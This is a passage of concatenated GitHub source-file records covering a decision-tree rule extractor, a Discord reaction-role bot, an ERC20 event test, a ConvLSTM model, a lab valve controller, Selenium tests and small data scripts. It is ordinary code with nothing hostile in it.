_tree.feature\r\n        _threshold = _tree.threshold\r\n        formula = np.zeros([2, self.n_features], dtype=float)    # 记录该rule的formula\r\n        visited = np.zeros([2, self.n_features], dtype=float)    # formula的标志数组\r\n\r\n\r\n        # for k, node in enumerate(rule[:-1]):\r\n        #     father_value = _tree.value[node].sum()\r\n        #     l_value = _tree.value[_tree.children_left[node]].sum()\r\n        #     r_value = _tree.value[_tree.children_right[node]].sum()\r\n        #     l_entropy = _tree.impurity[_tree.children_left[node]]\r\n        #     r_entropy = _tree.impurity[_tree.children_right[node]]\r\n        #     ig = _tree.impurity[node] - l_value/father_value*l_entropy - r_value/father_value*r_entropy     # 节点的信息增益\r\n        #\r\n        #     if ig > self.max_node:\r\n        #         self.max_node = ig\r\n        #     if ig < self.min_node:\r\n        #         self.min_node = ig\r\n        #\r\n        #     if ig >= self._theta:  # 节点过滤 ig >= theta\r\n        #         if _tree.children_left[node] == rule[k+1]:\r\n        #             if not visited[0, _feature[node]]:\r\n        #                 visited[0, _feature[node]] = 1\r\n        #                 formula[0, _feature[node]] = _threshold[node]\r\n        #             else:\r\n        #                 if formula[0, _feature[node]] > _threshold[node]:\r\n        #                     formula[0, _feature[node]] = _threshold[node]\r\n        #         else:\r\n        #             if not visited[1, _feature[node]]:\r\n        #                 visited[1, _feature[node]] = 1\r\n        #                 formula[1, _feature[node]] = _threshold[node]\r\n        #             else:\r\n        #                 if formula[1, _feature[node]] < _threshold[node]:\r\n        #                     formula[1, _feature[node]] = _threshold[node]\r\n\r\n\r\n        rule = self._forest_paths[index][j]\r\n        for k, node in enumerate(rule[:-1]):\r\n            ig = self._ig[index][j][k]\r\n\r\n            if ig >= self._theta:       # 节点过滤 ig >= theta\r\n                if _tree.children_left[node] == rule[k+1]:\r\n                    if not visited[0, _feature[node]]:\r\n                        visited[0, _feature[node]] = 1\r\n                        formula[0, _feature[node]] = _threshold[node]\r\n                    else:\r\n                        if formula[0, _feature[node]] > _threshold[node]:\r\n                            formula[0, _feature[node]] = _threshold[node]\r\n                else:\r\n                    if not visited[1, _feature[node]]:\r\n                        visited[1, _feature[node]] = 1\r\n                        formula[1, _feature[node]] = _threshold[node]\r\n                    else:\r\n                        if formula[1, _feature[node]] < _threshold[node]:\r\n                            formula[1, _feature[node]] = _threshold[node]\r\n\r\n\r\n        if not np.all(visited == 0):                # 若rule中还存在非叶子节点，才存储rule\r\n            self._forest_values.append(_tree.value[rule[-1]][0])  # 存叶子\r\n            self._forest_formulae.append(formula)  # 存公式\r\n            self._forest_formulae_visited.append(visited)\r\n            return 1\r\n        else:\r\n            return 0\r\n\r\n    @property\r\n    def forest_values(self):\r\n        return self._forest_values\r\n\r\n\r\n","repo_name":"GreeenZhang/OptExplain","sub_path":"Extractor.py","file_name":"Extractor.py","file_ext":"py","file_size_in_byte":10098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37272191505","text":"from django.db.models import Q\nfrom django.test import TestCase\n\nfrom gnosis.safe.tests.safe_test_case import SafeTestCaseMixin\n\nfrom ..models import EthereumEvent, SafeTxStatus\nfrom ..services import Erc20EventsService\nfrom .factories import SafeContractFactory, SafeTxStatusFactory\n\n\nclass TestErc20EventsService(SafeTestCaseMixin, TestCase):\n    def test_erc20_process_addresses(self):\n        block_process_limit = 1\n        confirmations = 10\n        erc20_events_service = Erc20EventsService(self.ethereum_client,\n                                                  confirmations=confirmations,\n                                                  block_process_limit=block_process_limit)\n\n        with self.assertRaisesMessage(AssertionError, 'Safe addresses cannot be empty'):\n            erc20_events_service.process_addresses([])\n\n        amount = 50\n        owner_account = self.create_account(initial_ether=0.01)\n        account_1 = self.create_account(initial_ether=0.01)\n        safe_address = account_1.address\n        safe_contract = SafeContractFactory(address=safe_address)\n        account_2 = self.create_account(initial_ether=0.01)\n        account_3 = self.create_account(initial_ether=0.01)\n        erc20_contract = self.deploy_example_erc20(amount, owner_account.address)\n\n        # We send some tx, Ganache mines one block by every tx\n        # `owner` sends `amount // 2` to `account_1` and `account_3`\n        to_tx_hash = self.send_tx(erc20_contract.functions.transfer(\n            account_1.address, amount // 2).buildTransaction({'from': owner_account.address}), owner_account)\n        self.send_tx(erc20_contract.functions.transfer(\n            account_3.address, amount // 2).buildTransaction({'from': owner_account.address}), owner_account)\n        # `account1` sends `amount // 2` (all) to `account_2`\n        from_tx_hash = self.send_tx(erc20_contract.functions.transfer(\n            account_2.address, amount // 2).buildTransaction({'from': account_1.address}), account_1)\n\n        # Will not index anything as no `SafeTxStatus` exists\n        self.assertIsNone(erc20_events_service.process_addresses([safe_address]))\n        self.assertEqual(SafeTxStatus.objects.filter(safe=safe_contract).count(), 0)\n        self.assertEqual(EthereumEvent.objects.filter(Q(arguments__from=safe_address)\n                                                      | Q(arguments__to=safe_address)).count(), 0)\n        SafeTxStatusFactory(safe=safe_contract)\n\n        # Now it will scan 1 block, but nothing will appear for this new address\n        _, updated = erc20_events_service.process_addresses([safe_address])\n        self.assertFalse(updated)\n        safe_tx_status = SafeTxStatus.objects.get(safe=safe_contract)\n        self.assertEqual(safe_tx_status.erc_20_block_number, block_process_limit)\n\n        # We scan for every tx, but will not find anything because of the default confirmations\n        erc20_events_service.block_process_limit = 0\n        _, updated = erc20_events_service.process_addresses([safe_address])\n        self.assertTrue(updated)\n        safe_tx_status = SafeTxStatus.objects.get(safe=safe_contract)\n        self.assertEqual(safe_tx_status.erc_20_block_number,\n                         erc20_events_service.ethereum_client.current_block_number - confirmations)\n        self.assertEqual(EthereumEvent.objects.count(), 0)\n\n        erc20_events_service.confirmations = 0\n        _, updated = erc20_events_service.process_addresses([safe_address])\n        self.assertTrue(updated)\n        safe_tx_status = SafeTxStatus.objects.get(safe=safe_contract)\n        self.assertEqual(safe_tx_status.erc_20_block_number,\n                         erc20_events_service.ethereum_client.current_block_number)\n        self.assertEqual(EthereumEvent.objects.count(), 2)\n        self.assertEqual(EthereumEvent.objects.filter(Q(arguments__from=safe_address)\n                                                      | Q(arguments__to=safe_address)).count(), 2)\n        self.assertEqual(EthereumEvent.objects.get(arguments__from=safe_address).ethereum_tx_id, from_tx_hash.hex())\n        self.assertEqual(EthereumEvent.objects.get(arguments__to=safe_address).ethereum_tx_id, to_tx_hash.hex())\n        for erc20_event in EthereumEvent.objects.erc20_events():\n            self.assertEqual(erc20_event.topic, self.ethereum_client.erc20.TRANSFER_TOPIC.hex())\n        self.assertEqual(EthereumEvent.objects.erc20_events().count(), 2)\n        self.assertEqual(EthereumEvent.objects.erc721_events().count(), 0)\n","repo_name":"vaporyorg/safe-relay-service","sub_path":"safe_relay_service/relay/tests/test_erc20_events_service.py","file_name":"test_erc20_events_service.py","file_ext":"py","file_size_in_byte":4515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"13318586071","text":"\r\nimport re\r\nimport csv\r\nimport io\r\n\r\nimport discord\r\nfrom discord.ext import commands\r\n# from emoji import is_emoji\r\n\r\nfrom alttprbot.database import role  # TODO switch to ORM\r\nfrom alttprbot.exceptions import SahasrahBotException\r\n\r\nfrom ..util import embed_formatter\r\n\r\n# this is a pile of shit and needs to be refactored\r\n\r\nclass Role(commands.Cog):\r\n    def __init__(self, bot):\r\n        self.bot = bot\r\n\r\n    @commands.Cog.listener()\r\n    async def on_raw_reaction_add(self, payload):\r\n        emoji = str(payload.emoji)\r\n        roles = await role.get_role_by_group_emoji(payload.channel_id, payload.message_id, emoji, payload.guild_id)\r\n\r\n        if len(roles) == 0:\r\n            return  # we don't want to continue, as there isn't really anything more we need to do here\r\n\r\n        guild = await self.bot.fetch_guild(payload.guild_id)\r\n        member = await guild.fetch_member(payload.user_id)\r\n        for roleids in roles:\r\n            role_obj = guild.get_role(roleids['role_id'])\r\n            if role_obj is None:\r\n                continue\r\n            else:\r\n                await member.add_roles(role_obj, reason=\"Added by message reaction.\")\r\n\r\n    @commands.Cog.listener()\r\n    async def on_raw_reaction_remove(self, payload):\r\n        emoji = str(payload.emoji)\r\n        roles = await role.get_role_by_group_emoji(payload.channel_id, payload.message_id, emoji, payload.guild_id)\r\n\r\n        if len(roles) == 0:\r\n            return  # we don't want to continue, as there isn't really anything more we need to do here\r\n\r\n        guild = await self.bot.fetch_guild(payload.guild_id)\r\n        member = await guild.fetch_member(payload.user_id)\r\n        for roleids in roles:\r\n            role_obj = guild.get_role(roleids['role_id'])\r\n            if role_obj is None:\r\n                continue\r\n            else:\r\n                await member.remove_roles(role_obj, reason=\"Removed by message reaction.\")\r\n\r\n    @commands.group(aliases=['rr'])\r\n    @commands.check_any(commands.has_permissions(manage_roles=True), commands.is_owner())\r\n    async def reactionrole(self, ctx):\r\n        pass\r\n\r\n    @reactionrole.command(name='create', aliases=['c'])\r\n    async def role_create(self, ctx, group_id: int, role_name: discord.Role, name, description, emoji, protect_mentions: bool = True):\r\n        existing_roles = await role.get_group_roles(group_id, ctx.guild.id)\r\n        if len(existing_roles) >= 20:\r\n            raise SahasrahBotException(\r\n                'No more than 20 roles can be on a group.  Please create a new group.')\r\n\r\n#        if discord.utils.find(lambda e: str(e) == emoji, ctx.bot.emojis) is None and not is_emoji(emoji):\r\n#            raise SahasrahBotException(\r\n#                'Custom emoji is not available to this bot.')\r\n\r\n        await role.create_role(ctx.guild.id, group_id, role_name.id, name, emoji, description, protect_mentions)\r\n        await refresh_bot_message(ctx, group_id)\r\n\r\n    @reactionrole.command(name='update', aliases=['u'])\r\n    async def role_update(self, ctx, role_id: int, name, description, protect_mentions: bool = False):\r\n        await role.update_role(ctx.guild.id, role_id, name, description, protect_mentions)\r\n        groups = await role.get_role_group(role_id, ctx.guild.id)\r\n        await refresh_bot_message(ctx, groups[0]['id'])\r\n\r\n    # this is a whole pile of trash...\r\n    @reactionrole.command(name='delete', aliases=['del'])\r\n    async def role_delete(self, ctx, role_id: int):\r\n        groups = await role.get_role_group(role_id, ctx.guild.id)\r\n        channel = ctx.guild.get_channel(groups[0]['channel_id'])\r\n        message = await channel.fetch_message(groups[0]['message_id'])\r\n\r\n        await message.remove_reaction(strip_custom_emoji(groups[0]['emoji']), ctx.bot.user)\r\n\r\n        await role.delete_role(ctx.guild.id, role_id)\r\n\r\n        await refresh_bot_message(ctx, groups[0]['id'])\r\n\r\n    @reactionrole.command(name='list', aliases=['l'])\r\n    async def role_list(self, ctx, group_id: int):\r\n        roles = await role.get_group_roles(group_id, ctx.guild.id)\r\n        await ctx.reply(embed=embed_formatter.reaction_role_list(ctx, roles))\r\n\r\n    @commands.group(aliases=['rg'])\r\n    @commands.check_any(commands.has_permissions(manage_roles=True), commands.is_owner())\r\n    async def reactiongroup(self, ctx):\r\n        pass\r\n\r\n    @reactiongroup.command(name='create', aliases=['c'])\r\n    async def group_create(self, ctx, channel: discord.TextChannel, name, description=None, bot_managed: bool = True, message_id: int = None):\r\n        if bot_managed:\r\n            message = await channel.send('temp message')\r\n        else:\r\n            message = await channel.fetch_message(message_id)\r\n        await role.create_group(ctx.guild.id, channel.id, message.id, name, description, bot_managed)\r\n\r\n    @reactiongroup.command(name='update', aliases=['u'])\r\n    async def group_update(self, ctx, group_id: int, name, description):\r\n        await role.update_group(ctx.guild.id, group_id, name, description)\r\n        await refresh_bot_message(ctx, group_id)\r\n\r\n    @reactiongroup.command(name='refresh', aliases=['r'])\r\n    async def group_refresh(self, ctx, group_id: int):\r\n        await refresh_bot_message(ctx, group_id)\r\n\r\n    @reactiongroup.command(name='delete', aliases=['d'])\r\n    async def group_delete(self, ctx, group_id: int):\r\n        await role.delete_group(ctx.guild.id, group_id)\r\n\r\n    @reactiongroup.command(name='list', aliases=['l'])\r\n    async def group_list(self, ctx, group_id: int = None):\r\n        if group_id is None:\r\n            groups = await role.get_guild_groups(ctx.guild.id)\r\n        else:\r\n            groups = await role.get_guild_group_by_id(group_id, ctx.guild.id)\r\n        await ctx.reply(embed=await embed_formatter.reaction_group_list(ctx, groups))\r\n\r\n    @commands.command()\r\n    @commands.check_any(commands.has_permissions(manage_roles=True), commands.is_owner())\r\n    async def importroles(self, ctx, mode=None):\r\n        if ctx.message.attachments:\r\n            content = await ctx.message.attachments[0].read()\r\n            role_import_list = csv.DictReader(\r\n                io.StringIO(content.decode()))\r\n            for i in role_import_list:\r\n                try:\r\n                    role_obj = await commands.RoleConverter().convert(ctx, i['role'])\r\n                except commands.BadArgument:\r\n                    await ctx.reply(f\"Failed to find role identified by {i['role']}\")\r\n                    continue\r\n\r\n                try:\r\n                    member_obj = await commands.MemberConverter().convert(ctx, i['member'])\r\n                except commands.BadArgument:\r\n                    await ctx.reply(f\"Failed to find member identified by {i['member']}\")\r\n                    continue\r\n\r\n                if not mode == \"dry\":\r\n                    await member_obj.add_roles(role_obj)\r\n        else:\r\n            raise SahasrahBotException(\"You must supply a valid csv file.\")\r\n\r\n\r\nasync def refresh_bot_message(ctx, group_id):\r\n    groups = await role.get_guild_group_by_id(group_id, ctx.guild.id)\r\n    group = groups[0]\r\n\r\n    roles = await role.get_group_roles(group_id, ctx.guild.id)\r\n\r\n    channel = ctx.guild.get_channel(group['channel_id'])\r\n    message = await channel.fetch_message(group['message_id'])\r\n\r\n    for item in roles:\r\n        #        try:\r\n        await message.add_reaction(strip_custom_emoji(item['emoji']))\r\n#        except discord.errors.HTTPException as err:\r\n#            if err.code == 10014:\r\n#                await ctx.reply(\"That emoji is unknown to this bot.  It may be a subscriber-only or an emoji from a server this bot cannot access.  Please manually add it to the role menu!\\n\\nPlease note that the emoji could not be displayed on the role menu.\")\r\n#            else:\r\n#                raise\r\n\r\n    if group['bot_managed']:\r\n        embed = embed_formatter.reaction_menu(ctx, group, roles)\r\n        await message.edit(content=None, embed=embed)\r\n\r\n\r\ndef strip_custom_emoji(emoji):\r\n    emoji = re.sub('^<', '', emoji)\r\n    emoji = re.sub('>$', '', emoji)\r\n    return emoji\r\n\r\nasync def setup(bot):\r\n    await bot.add_cog(Role(bot))\r\n","repo_name":"tcprescott/sahasrahbot","sub_path":"alttprbot_discord/cogs/role.py","file_name":"role.py","file_ext":"py","file_size_in_byte":8123,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"3"}
+{"seq_id":"2332198368","text":"import pandas as pd\nimport json\n\norder_items = list()\nwith open(\"./order.json\", \"rb\") as fin:\n    data = json.load(fin)\n\n    for order in data:\n        if \"items\" in order:\n            order_items.extend(order[\"items\"])\n\n\nwith open(\"./order-items.json\", \"w\") as fout:\n    json.dump(order_items, fout, indent=4)\n\n\ndf = pd.read_json(\"./order-items.json\", orient=\"column\")\ndf[\"qty_ordered\"] = df[\"qty_ordered\"].astype(int)\n\nunits_by_sku_sorted = (\n    df.groupby([\"sku\", \"name\"])[\"qty_ordered\"]\n    .sum()\n    .reset_index(name=\"units\")\n    .sort_values(by=\"units\", ascending=False)\n)\n\nunits_by_sku_sorted.to_csv(\"./units_by_sku.csv\")\n","repo_name":"michael-land/scripts","sub_path":"python3/analysis-best-selling-product.py","file_name":"analysis-best-selling-product.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42099218878","text":"import torch\nimport torch.nn as nn\n\n\n\"\"\"ref: https://github.com/ndrplz/ConvLSTM_pytorch/blob/master/convlstm.py\"\"\"\n\nclass ConvLSTMCell(nn.Module):\n\n    def __init__(self, input_size, input_dim, hidden_dim, kernel_size, bias=True):\n        \"\"\"\n        Initialize ConvLSTM cell.\n\n        Parameters\n        ----------\n        input_size: (int, int)\n            Height and width of input tensor as (height, width).\n        input_dim: int\n            Number of channels of input tensor.\n        hidden_dim: int\n            Number of channels of hidden state.\n        kernel_size: (int, int)\n            Size of the convolutional kernel.\n        bias: bool\n            Whether or not to add the bias.\n        \"\"\"\n\n        super(ConvLSTMCell, self).__init__()\n\n        self.height, self.width = input_size\n        self.input_dim  = input_dim\n        self.hidden_dim = hidden_dim\n\n        self.kernel_size = kernel_size\n        self.padding     = kernel_size // 2, kernel_size // 2\n        self.bias        = bias\n\n        self.conv = nn.Conv2d(in_channels=self.input_dim + self.hidden_dim,\n                              out_channels=4 * self.hidden_dim,\n                              kernel_size=self.kernel_size,\n                              padding=self.padding,\n                              bias=self.bias)\n\n    def forward(self, input_tensor, cur_state):\n\n        h_cur, c_cur = cur_state\n\n        combined = torch.cat([input_tensor, h_cur], dim=1)  # concatenate along channel axis\n\n        combined_conv = self.conv(combined)\n        cc_i, cc_f, cc_o, cc_g = torch.split(combined_conv, self.hidden_dim, dim=1)\n        i = torch.sigmoid(cc_i)\n        f = torch.sigmoid(cc_f)\n        o = torch.sigmoid(cc_o)\n        g = torch.tanh(cc_g)\n\n        c_next = f * c_cur + i * g\n        h_next = o * torch.tanh(c_next)\n\n        return h_next, c_next\n\n    def init_hidden(self, batch_size):\n        h_0 = torch.zeros(batch_size, self.hidden_dim, self.height, self.width)\n        c_0 = torch.zeros(batch_size, self.hidden_dim, self.height, self.width)\n        return h_0, c_0\n\nclass BiLSTM(nn.Module):\n    def __init__(self, input_size, input_dim, hidden_dim, kernel_size, bias=True):\n        \"\"\"\n        Initialize ConvLSTM cell.\n\n        Parameters\n        ----------\n        input_size: (int, int)\n            Height and width of input tensor as (height, width).\n        input_dim: int\n            Number of channels of input tensor.\n        hidden_dim: int\n            Number of channels of hidden state.\n        kernel_size: (int, int)\n            Size of the convolutional kernel.\n        bias: bool\n            Whether or not to add the bias.\n        \"\"\"\n\n        super(BiLSTM, self).__init__()\n\n        self.height, self.width = input_size\n        self.input_dim  = input_dim\n        self.hidden_dim = hidden_dim\n\n        self.lstm_fw = ConvLSTMCell(input_size, input_dim, hidden_dim, kernel_size, bias=bias)\n\n        self.lstm_bw = ConvLSTMCell(input_size, input_dim, hidden_dim, kernel_size, bias=bias)\n\n    def forward(self, x, h0_fw, c0_fw, h0_bw, c0_bw):\n        seq_len = x.shape[1]\n        h_list = [None] * seq_len #[None] * 2 = [None, None]\n\n        h_prev, c_prev = h0_bw, c0_bw\n        for t in range(seq_len-1, -1, -1):\n            xt = x[:, t, :, :, :]\n        \n            ht, ct = self.lstm_bw(xt, (h_prev, c_prev))\n            h_list[t] = ht\n            h_prev, c_prev = ht, ct\n\n            #print(h_prev.shape)\n        h_bwout, c_bwout = h_prev, c_prev\n        h_prev, c_prev = h0_fw, c0_fw\n        out_list = [None] * seq_len\n        for t in range(seq_len):\n            xt = x[:, t, :, :, :]\n        \n            h_prev += h_list[t] # or concate\n        \n            ht, ct = self.lstm_fw(xt, (h_prev, c_prev))\n            h_prev, c_prev = ht, ct\n            out_list[t] = h_prev\n        #return ht, ct, h_bkout, c_bwout\n        return out_list, (ht, ct, h_bwout, c_bwout)\n\nif __name__ == \"__main__\":\n    input_size = (16, 32)\n    input_dim = 3\n    hidden_dim = 256 #10\n    kernel_size = (3, 3)\n    model = BiLSTM(input_size, input_dim, hidden_dim, kernel_size, bias=False).cuda()\n\n    batch_size = 4\n    seq_len = 2\n    x = torch.randn(batch_size, seq_len, input_dim, 16, 32).cuda()\n\n    h0_fw, c0_fw = model.lstm_fw.init_hidden(batch_size)\n    h0_bw, c0_bw = model.lstm_bw.init_hidden(batch_size)\n\n    h0_fw, c0_fw = h0_fw.cuda(), c0_fw.cuda()\n    h0_bw, c0_bw = h0_bw.cuda(), c0_bw.cuda() \n\n    out_list, (ht, ct, h_bwout, c_bwout) = model(x, h0_fw, c0_fw, h0_bw, c0_bw)\n    print(len(out_list), ht.shape, ct.shape, h_bwout.shape, c_bwout.shape)\n    \n\"\"\"\n    h_list = [None] * seq_len\n    h_prev, c_prev = h0_bw, c0_bw\n    for t in range(seq_len-1, -1, -1):\n        xt = x[:, t, :, :, :]\n        \n        ht, ct = model.lstm_bw(xt, (h_prev, c_prev))\n        h_list[t] = ht\n        h_prev, c_prev = ht, ct\n        #print(h_prev.shape)\n\n    h_prev, c_prev = h0_fw, c0_fw\n    for t in range(seq_len):\n        xt = x[:, t, :, :, :]\n        \n        h_prev += h_list[t] # or concate\n        \n        ht, ct = model.lstm_fw(xt, (h_prev, c_prev))\n        h_prev, c_prev = ht, ct\n        #print(h_prev)\n\"\"\"\n","repo_name":"rozgo/BiFuse","sub_path":"models/conv_bilstm.py","file_name":"conv_bilstm.py","file_ext":"py","file_size_in_byte":5121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12750947659","text":"import ctypes\nfrom matplotlib import pyplot as plt\nimport nidaqmx\nimport numpy as np\nimport time\n\nclass ValveModel:\n    def __init__(self, sample_rate=10000, acquisition_time=5, pre_sequence_time=0.5, post_sequence_time=0.5, pulse_time=1, back_valve_delay=0.05, interval_time=25):   \n        self.sample_rate = sample_rate\n        self.acquisition_samples = int(acquisition_time * self.sample_rate)\n        self.interval_time = interval_time\n        self.back_valve_delay_samples = int(back_valve_delay * self.sample_rate)\n        self.pre_sequence_samples = int(pre_sequence_time * self.sample_rate)\n        self.post_sequence_samles = int(post_sequence_time * self.sample_rate)\n        self.pulse_samples = int(pulse_time * self.sample_rate)\n        self.cycle_samples = int(0.004 * self.sample_rate)\n        self.ttl_bit_samples = int(0.004 * self.sample_rate)\n        self.all_clean_air_valves = [0, 1, 8, 9]\n        self.valves = nidaqmx.Task()\n        self.ai = nidaqmx.Task()\n        self.valves.do_channels.add_do_chan(\"Front_valves/port0/line0:15, Back_valves/port0/line0:7, Back_valves/port0/line16:23, Front_valves/port0/line16\", line_grouping=nidaqmx.constants.LineGrouping.CHAN_PER_LINE)\n        self.ai.ai_channels.add_ai_voltage_chan(\"AI/ai0, AI/ai1, AI/ai2\")\n        self.init_clock_and_trigger(self.valves)\n        self.init_clock_and_trigger(self.ai)\n\n    def __del__(self):\n        self.valves.close()\n        self.ai.close()\n\n    def init_clock_and_trigger(self, task):\n        task.timing.cfg_samp_clk_timing(self.sample_rate, source=\"OnboardClock\", samps_per_chan=self.acquisition_samples, sample_mode=nidaqmx.constants.AcquisitionType.FINITE)\n        # task.triggers.start_trigger.cfg_dig_edge_start_trig(\"/cDAQ1/PFI0\")\n\n    def determine_clean_air_valve(self, odour_valve):\n        return {k: (k > 8) * k // 8 * 8 + 1 - k % 2 for k in list(range(2, 8)) + list(range(10, 16))}.get(odour_valve-1)\n\n    def generate_valve_pattern(self, odour_valves, duty_cycles, label=\"\"):\n        # duty_cycles = [1] * len(odour_valves)\n        valve_states = np.vstack([np.ones((16, self.acquisition_samples), dtype=int), np.zeros((16, self.acquisition_samples), dtype=int), np.ones((1, self.acquisition_samples), dtype=int)])\n        clean_air_valves = [self.determine_clean_air_valve(odour_valve) for odour_valve in odour_valves]\n        valve_states[self.all_clean_air_valves, :] = 0\n        for k in range(len(odour_valves)):\n            on_samples = int(self.cycle_samples * duty_cycles[k])\n            pulse_pattern = np.concatenate(np.arange(0, self.pulse_samples, self.cycle_samples).reshape(-1, 1) + np.arange(on_samples))\n            valve_states[odour_valves[k] - 1, pulse_pattern + self.pre_sequence_samples + self.pulse_samples * k] = 0\n            valve_states[odour_valves[k] - 1 + 16, self.pre_sequence_samples + self.pulse_samples * k + self.back_valve_delay_samples: self.pre_sequence_samples + self.pulse_samples * (k + 1) - self.back_valve_delay_samples] = 1\n            valve_states[clean_air_valves[k], pulse_pattern + self.pre_sequence_samples + self.pulse_samples * k] = 1\n        # creating a binary code for the label\n        bytes_array = np.frombuffer(label.encode(), dtype=np.uint8)\n        binary_codes = np.unpackbits(bytes_array)\n        binary_codes = binary_codes[:len(label) * 7].reshape(-1, 7).reshape(-1)\n        true_indices = np.where(binary_codes)[0] + 2        \n        true_indices = np.hstack([0, true_indices])\n        ttl_pattern = (true_indices[:, None] * self.ttl_bit_samples + np.arange(self.ttl_bit_samples)).ravel() + self.pre_sequence_samples\n        valve_states[32, ttl_pattern] = 0\n        return valve_states.astype(bool)\n\n    def play_valve_sequence(self, odour_valves, duty_cycles, label):\n        # duty_cycles = [1] * len(odour_valves)\n        device_name = \"Front_valves\"        \n        attribute_id = 0x3b03  # DAQmxAttrDevState\n        device_state = ctypes.c_int()\n        status = ctypes.windll.nicaiu.DAQmxGetDeviceAttribute(device_name, attribute_id, ctypes.byref(device_state)) \n        if status!=0:\n            valve_states = self.generate_valve_pattern(odour_valves, duty_cycles, label=label)\n            self.valves.write(valve_states)\n            self.valves.start()\n            traces = self.ai.read(number_of_samples_per_channel=self.acquisition_samples)\n            self.valves.wait_until_done(timeout=20)\n            self.valves.stop()\n            self.valves.out_stream.regen_mode = nidaqmx.constants.RegenerationMode.DONT_ALLOW_REGENERATION\n            self.valves.out_stream.regen_mode = nidaqmx.constants.RegenerationMode.ALLOW_REGENERATION\n            return np.array(traces) * 0.8949 - 1.1644\n        else:\n            return np.zeros((3, self.acquisition_samples))\n","repo_name":"mkollo/AromaticDreamscapes","sub_path":"valve_model.py","file_name":"valve_model.py","file_ext":"py","file_size_in_byte":4756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35884070800","text":"# 약 10분\n\nimport math\n\ndef checkPrime(n):\n    if n == 1:\n        return False\n\n    for i in range(2, int(math.sqrt(n)) + 1):\n        if n % i == 0:\n            return False\n\n    return True\n\n\ndef solution(n, k):\n    arr = []\n    answer = 0\n    current = n\n    count = 0\n    while current > 0:\n        current, mod = divmod(current, k)\n        arr.append(mod)\n    arr.reverse()\n    string = ''\n    for n in arr:\n        string += str(n)\n\n    spl = string.split('0')\n    for num in spl:\n        if len(num) == 0:\n            continue\n        if checkPrime(int(num)):\n            answer += 1\n\n    return answer","repo_name":"sossont/This_is_codingtest","sub_path":"2회차/카카오 2022 블라인드/k진수 소수.py","file_name":"k진수 소수.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22460763584","text":"\"\"\"\nhttps://stepik.org/lesson/236918/step/2?unit=209305\npytest -s -v -m smoke ./chapter_3/lesson_5/test_step_2/test_step_2.py, где -v - это verbose, -s для того, чтобы видеть принты, -m маркер\npytest -s -v -m \"not smoke\" ./chapter_3/lesson_5/test_step_2/test_step_2.py - инверсия, запустятся все тесты, кроме smoke\npytest -s -v -m \"smoke or regression\" ./chapter_3/lesson_5/test_step_2/test_step_2.py - запустятся тесты smoke и regression\npytest -s -v -m \"smoke and win10\" ./chapter_3/lesson_5/test_step_2/test_step_2.py - запустятся тесты, у которых 2 этих маркера\n\npytest -s -v -rx ./chapter_3/lesson_5/test_step_2/test_step_2.py, где -rx report-on-xfail\n-rxXs показывать дополнительную информацию о тестах xfailed, xpassed, и skipped\nНи XFAIL, ни XPASS по умолчанию не приводят к падению всего набора тестов. Но это можно изменить, установив параметру strict значение True:\n\"\"\"\nimport pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\nlink = \"http://selenium1py.pythonanywhere.com/\"\n\n\n@pytest.fixture(scope=\"function\")\ndef browser():\n    print(\"\\nstart browser for test..\")\n    browser = webdriver.Chrome()\n    yield browser\n    print(\"\\nquit browser..\")\n    browser.quit()\n\n\nclass TestMainPage1:\n\n    @pytest.mark.smoke\n    @pytest.mark.win10\n    def test_guest_should_see_login_link(self, browser):\n        browser.get(link)\n        browser.find_element(By.CSS_SELECTOR, \"#login_link\")\n\n    @pytest.mark.regression\n    def test_guest_should_see_basket_link_on_the_main_page(self, browser):\n        browser.get(link)\n        browser.find_element(By.CSS_SELECTOR, \".basket-mini .btn-group > a\")\n\n    @pytest.mark.xfail(reason=\"fixing this bug right now\")  # xfail для тестов, от которых ожидаем падение\n    def test_guest_should_see_search_button_on_the_main_page(self, browser):\n        browser.get(link)\n        browser.find_element(By.CSS_SELECTOR, \"button.favorite\")\n","repo_name":"IdarKasbotov/selenium_course","sub_path":"chapter_3/lesson_5/test_step_2/test_step_2.py","file_name":"test_step_2.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24223864828","text":"\"\"\"\nLearn Classifier\n\"\"\"\nimport argparse\nimport copy\nfrom time import time\nimport numpy\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.linear_model import PassiveAggressiveClassifier, SGDClassifier\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport helper\nimport config\n\n\nVERBOSE = None\nCLASSIFIERS = ((\"PassiveAggressive\", PassiveAggressiveClassifier(n_jobs=-1)),\n               (\"SGD\", SGDClassifier(n_jobs=-1)),\n               (\"RandomForest\", RandomForestClassifier(n_jobs=-1)))\n\n\ndef print_verbose(line: str) -> None:\n    \"\"\" pring_verbose \"\"\"\n    if VERBOSE:\n        print(line)\n\n\ndef main():\n    \"\"\" main \"\"\"\n    global VERBOSE\n    VECTORIZER = TfidfVectorizer()\n    MODEL = {}\n    apar = argparse.ArgumentParser(description=\"Learn Incident Classifier\")\n    apar.add_argument(\"-f\", \"--file\", required=True)\n    apar.add_argument(\"-o\", \"--out\")\n    apar.add_argument(\"-v\", \"--verbose\", action=\"store_true\")\n    apar.add_argument(\"-b\", \"--best\", action=\"store_true\")\n    args = apar.parse_args()\n    VERBOSE = args.verbose\n    csv_filename = args.file\n    pkl_filename = args.out if args.out else \"model.pkl\"\n    data = helper.load_csv(csv_filename)\n    t0 = time()\n    # data[NORMTEXTCOL] = data[TEXTCOL].apply(helper.normalize_str)\n    data = helper.normalize_multiproc(data)\n    print_verbose(\"normalization done:\\t{:0.3f}s\".format((time() - t0)))\n    t0 = time()\n    X_learn = VECTORIZER.fit_transform(data[config.NORMTEXTCOL])\n    print_verbose(\"fit done\\t{:0.3f}s\".format((time() - 